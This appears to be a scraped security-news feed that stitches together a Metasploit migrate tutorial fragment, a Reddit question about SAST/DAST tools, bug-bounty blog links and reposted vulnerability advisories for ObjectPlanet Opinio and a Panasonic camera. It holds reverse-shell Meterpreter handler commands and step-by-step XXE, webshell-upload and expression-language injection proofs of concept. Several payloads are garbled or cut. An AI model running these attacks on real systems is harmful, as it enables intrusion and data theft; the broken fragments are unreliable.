can see that even after the targeted process was killed the session remains active and we have a persistence meterpreter on the target machine.<o:p use exploit/multi/handler<o:pset payload windows/meterpreter/reverse_tcp<o:pset lhost 192.168.1.2<o:pset lport 1234<o:pset prependmigrateprocess explorer.exe<o:pset prependmigrate true<o:pexploit<o:pps | grep shell.exe<o:pkill 8064<o:psysinfo<o:phttps://1.bp.blogspot.com/-WuYVar5cuC8/YQPce-lb9eI/AAAAAAAAyCI/wAwO0Kfh9sswHCPCwGXEbMcptUwZfIs7wCLcBGAsYHQ/s16000/9.png Conclusion<o:pTo conclude, we would like to point out that Metasploit is full of various small utilities that any Penetration Tester could use during their assessment. However, the depth of the different tasks that these utilities can perform is much more than what we use them for. Hence, we wrote this article to introduce the workings of the migrate command from the Metasploit Framework.<o:p

hacking: security in practice
Best SAST and DAST for web applications

Hey, guys!

I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false negatives... But if you have to choose one, which one would be? And why?

I search about a few and I'm using OWASP Zap, mainly 'cause it's free and my team lack experience with his kind of software, so I don't want to spent a lot of money rn.

submitted by /u/Rekkien
[link] [comments]

From Hobby to Hacking
https://medium.com/@mumeido/from-hobby-to-hacking-5d8befb3adde?source=rss------bug_bounty-5

Hello,my name is Muhammad Syahrul Haniawan. I am from Indonesia and this is my first write up on Medium.com. I’ll tell you a little about…Continue reading on Medium » (https://medium.com/@mumeido/from-hobby-to-hacking-5d8befb3adde?source=rss------bug_bounty-5)

Exploiting basic SQL vulnerability.
https://sanduni.medium.com/exploiting-basic-sql-vulnerability-e63d4e624410?source=rss------bug_bounty-5

PortSwigger SQL Lab Exercise: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data.Continue reading on Medium » (https://sanduni.medium.com/exploiting-basic-sql-vulnerability-e63d4e624410?source=rss------bug_bounty-5)

Hacking Articles
Metasploit for Pentester: Migrate

In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate

The post Metasploit for Pentester: Migrate appeared first on Hacking Articles.

Exploit Collector
ObjectPlanet Opinio 7.13 / 7.14 XML Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.

MD5 | 42b0801a736a8c5f0e5d56cd04363a4e

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26564

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.

# 3. Proof of Concept

### XXE leading to local file disclosure ###

Step 1:

URL: /opinio/admin/file.do?action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css

Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file to a dtd reference file for the XXE injection
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:
-------------------------------------------------------

Step 2:

Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this snippet into the top of the .xml file:
">
"file:////C:\<base_directory\opinio\upload\css\common\blueSurvey.css">
%dtd;

Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the
surveyIntro field):

<surveyintro&all;

The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.

Import the modified .xml file to:
/survey/admin/folderSurvey.do?action=viewImportSurvey['importFile']

-------------------------------------------------------

Step 3:

The C:\Users\ directory can be viewed at :
/opinio/admin/preview.do?action=previewSurvey&surveyId=<survey_id
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html
# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
ObjectPlanet Opinio 7.13 Shell Upload

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
ObjectPlanet Opinio version 7.13 suffers from a remote shell upload vulnerability.

MD5 | 428a660ba8fcf617d5de88b7920acbe4

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806

# Exploit Title: ObjectPlanet Opinio version 7.13 allows unrestricted file upload
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26806

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to unrestricted file uploads

# 3. Proof of Concept

### Unrestricted File Upload leading to RCE ###

Step 1:

URL: /opinio/admin/file.do

Opinio allows an administrative user to edit local CSS files. This file editing function however does not validate if the HTTP POST parameters are tampered with.

Post parameters to tamper with:
- filePath
- fileContent

The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.

The file path can be tampered with for e.g. : /upload/css/common/../../../admin/shell.jsp
The fileContent value was tampered with a JSP webshell for this PoC and a webshell was acheieved
For our PoC, we could view the web.xml file using an XXE vulnerability CVE-2020-26564 and identify which JSP files were allowed be loaded and replaced the contents of that JSP file with the webshell code

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

-------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
ObjectPlanet Opinio 7.13 Expression Language Injection

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.

MD5 | e4ac02c7c40ce27bf82fc181349ac136

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26565

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection

# 3. Proof of Concept

### Expression Language Injection leading to sensitive information disclosure ###

Step 1:

URL: /opinio/admin/permissionList.do?userId=1&from=$%7b7%2a7%7d
Payload: ${7*7} - URL encoded

The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the loaded page source which executed the URL encoded payload to return 49

This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of payloads that executed successfully are:
- ${pageContext.request.serverName} - returned server name
- ${pageContext.serveletContext.serverInfo} - returned server information
- ${pageContext.servletConfig.class} - returned information about the Apache server

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

-------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
Panasonic Sanyo CCTV Network Camera 2.03-0x Cross Site Request Forgery

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Panasonic Sanyo CCTV Network Camera version 2.03-0x allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. These actions can be exploited to perform authentication detriment and account password change with administrative privileges if a logged-in user visits a malicious web site.

MD5 | 144372220bfafa4d89dbf4f8e47b37df

Download

[CSRF]
[Anonymous user log in = ON]
orororororororororororororor
[Change admin password]

Source:packetstormsecurity.com

From Hobby to Hacking

Hello,my name is Muhammad Syahrul Haniawan. I am from Indonesia and this is my first write up on Medium.com. I’ll tell you a little about…Continue reading on Medium »
Read more...